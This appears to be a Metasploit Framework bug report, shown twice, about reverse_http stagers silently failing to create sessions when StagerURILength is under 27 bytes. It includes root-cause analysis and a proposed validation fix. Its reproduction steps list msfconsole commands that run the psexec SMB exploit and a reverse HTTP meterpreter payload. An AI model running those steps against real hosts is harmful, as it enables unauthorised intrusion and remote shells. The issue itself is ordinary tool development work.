Summary
Setting StagerURILength on windows/meterpreter/reverse_http (and other HTTP(S) stagers that share Msf::Payload::UUID::Options#generate_uri_uuid_mode) to a value below the UUID-embedding minimum causes the stager to connect back successfully but never receive a stage or create a session — with no error or log message of any kind.
Steps to reproduce
use exploit/windows/smb/psexec
set RHOSTS <target>
set SMBUser ...
set SMBPass ...
set payload windows/meterpreter/reverse_http
set LHOST <lhost>
set LPORT <lport>
set StagerURILength 10
exploit
Expected behavior
Either the stager stages normally, or the framework raises a clear error/warning explaining that the requested StagerURILength is too short.
Actual behavior
- SMB auth, upload, and service start all succeed.
- The reverse HTTP handler starts and receives the stager's initial callback request.
- No "Staging ... payload" message is ever printed, no error is printed, and
exploit reports "Exploit completed, but no session was created." with zero diagnostic output.
Root cause
Msf::Payload::UUID::Options#generate_uri_uuid_mode (lib/msf/core/payload/uuid/options.rb) only embeds a UUID in the generated URI if there's enough room for it (len >= URI_CHECKSUM_UUID_MIN_LEN, i.e. URI_CHECKSUM_MIN_LEN(5) + Msf::Payload::UUID::UriLength(22) = 27 bytes). Below that, it silently falls back to a bare checksum-only URI with no embedded UUID — and only raises an error if PayloadUUIDSeed/PayloadUUIDRaw was also set.
Msf::Handler::ReverseHttp#on_request (lib/msf/core/handler/reverse_http.rb) gates all staging logic behind if uuid. When the incoming request's URI has no embedded UUID, it unconditionally overwrites info[:mode] = :unknown — discarding whatever checksum-based mode (:init_native, etc.) was actually detected.
- The
:unknown mode is explicitly excluded from the "Unknown request to ..." status print, so this failure path is completely silent.
I confirmed this is present on current master (not specific to any feature branch) — the if uuid ... else info[:mode] = :unknown gating in on_request is unchanged there. The StagerURILength option's own advanced-option description ("The URI length for the stager (at least 5 bytes)") is also stale/misleading: 5 is URI_CHECKSUM_MIN_LEN, not the actual functional minimum needed for a working payload.
Suggested fix direction
Add validation in generate_uri_uuid_mode (the shared choke point used by windows, windows/x64, java, android, multi, and mettle payloads) to raise a clear error (or at minimum a warning) when StagerURILength is set below URI_CHECKSUM_UUID_MIN_LEN, rather than silently generating a non-functional payload.
Filing this to track it — not fixing immediately, but don't want it to get lost.
Summary
Setting
StagerURILengthonwindows/meterpreter/reverse_http(and other HTTP(S) stagers that shareMsf::Payload::UUID::Options#generate_uri_uuid_mode) to a value below the UUID-embedding minimum causes the stager to connect back successfully but never receive a stage or create a session — with no error or log message of any kind.Steps to reproduce
Expected behavior
Either the stager stages normally, or the framework raises a clear error/warning explaining that the requested
StagerURILengthis too short.Actual behavior
exploitreports "Exploit completed, but no session was created." with zero diagnostic output.Root cause
Msf::Payload::UUID::Options#generate_uri_uuid_mode(lib/msf/core/payload/uuid/options.rb) only embeds a UUID in the generated URI if there's enough room for it (len >= URI_CHECKSUM_UUID_MIN_LEN, i.e.URI_CHECKSUM_MIN_LEN(5) + Msf::Payload::UUID::UriLength(22)= 27 bytes). Below that, it silently falls back to a bare checksum-only URI with no embedded UUID — and only raises an error ifPayloadUUIDSeed/PayloadUUIDRawwas also set.Msf::Handler::ReverseHttp#on_request(lib/msf/core/handler/reverse_http.rb) gates all staging logic behindif uuid. When the incoming request's URI has no embedded UUID, it unconditionally overwritesinfo[:mode] = :unknown— discarding whatever checksum-based mode (:init_native, etc.) was actually detected.:unknownmode is explicitly excluded from the "Unknown request to ..." status print, so this failure path is completely silent.I confirmed this is present on current
master(not specific to any feature branch) — theif uuid ... else info[:mode] = :unknowngating inon_requestis unchanged there. TheStagerURILengthoption's own advanced-option description ("The URI length for the stager (at least 5 bytes)") is also stale/misleading: 5 isURI_CHECKSUM_MIN_LEN, not the actual functional minimum needed for a working payload.Suggested fix direction
Add validation in
generate_uri_uuid_mode(the shared choke point used by windows, windows/x64, java, android, multi, and mettle payloads) to raise a clear error (or at minimum a warning) whenStagerURILengthis set belowURI_CHECKSUM_UUID_MIN_LEN, rather than silently generating a non-functional payload.Filing this to track it — not fixing immediately, but don't want it to get lost.